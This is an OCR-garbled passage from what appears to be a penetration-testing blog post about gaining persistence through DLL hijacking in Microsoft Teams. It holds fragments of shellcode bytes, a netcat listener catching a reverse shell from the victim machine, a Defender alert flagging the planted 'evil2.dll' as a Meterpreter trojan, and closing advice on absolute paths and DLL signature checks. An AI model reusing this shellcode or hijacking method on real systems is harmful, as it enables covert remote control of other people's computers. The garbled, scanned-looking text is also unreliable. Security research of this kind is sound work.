"\x83\xca\x28\x3c\x06\x7c\x0a\x80\xfb\xe@\x75\x05\xbb\x47\x13" Loading Microsoft Teams . .

"\x72\x6F\x6a\x00\x59\x41\x89\xda\xff\xd5";

kaligkali c =lvp 4bbs Sign-in address

listening on [any] 4444 ...

connect to [192.168.1.28] from WIN-9D96ENP8BOS.Home [192.168.1.27] 55714
Microsoft Windows [Version 10.0.18363.592]

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\User\AppData\Local\Microsoft\Teams\current>whoami
whoami
win-9d96enp8bo8\user

C:\Users\User\AppData\Local\Microsoft\Teams\current>f|

Not on Teams yet? Learn more

Microsoft Teams will continue working as normal without any crashes!

G Threat found - action needed. Severe
10/13/2021 8:26 AM

Status: Active
Active threats have not been remediated and are running on your device,

Threat detected: Trojan:Wingd/Meterpretar.E

Alert level: Severe

Date: 10/13/2021 8:26 AM

Category: Trojan

Details: This program is dangerous and executes commands from an attacker.

Learn more

Affected items:

file: Ch\Users\UserAppDatalLocalhMicrosoft\ Teams\currentievil2.dll

Actions
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| Windows Defender antivirus reacted at my DLL

Conclusion

We now have achieved persistence via Microsoft Teams.

A default installation of Windows is not vulnerable to DLL hijacking because all the
directories that are used in the DLL search are configured with proper permissions.

First of all, as a Windows bug hunter, if you want to find privilege escalation vulnerabilities on
the operating system itself, you’ll often want to start from a blank page, with a clean
installation of Windows. The objective is to prevent side-effects that could be caused by the
installation of third-party applications. That’s already a big difference between a researcher
and a pentester.

A simple way to prevent DLL hijacking from happening would be for applications to always
use absolute paths instead of relative ones. Although some applications (notably portable
ones) will not always be able to do so, applications located in \system32\ and relying on
DLLs in the same folder have no excuse for doing otherwise. The better option, which only
very few Windows executables seem to do, is to verify all DLLs before loading them (e.g. by
checking their signatures) - this would largely eliminate the problem.

Thanks for your time, happy hacking and good bye!
PS. All drawings and screenshots are mine
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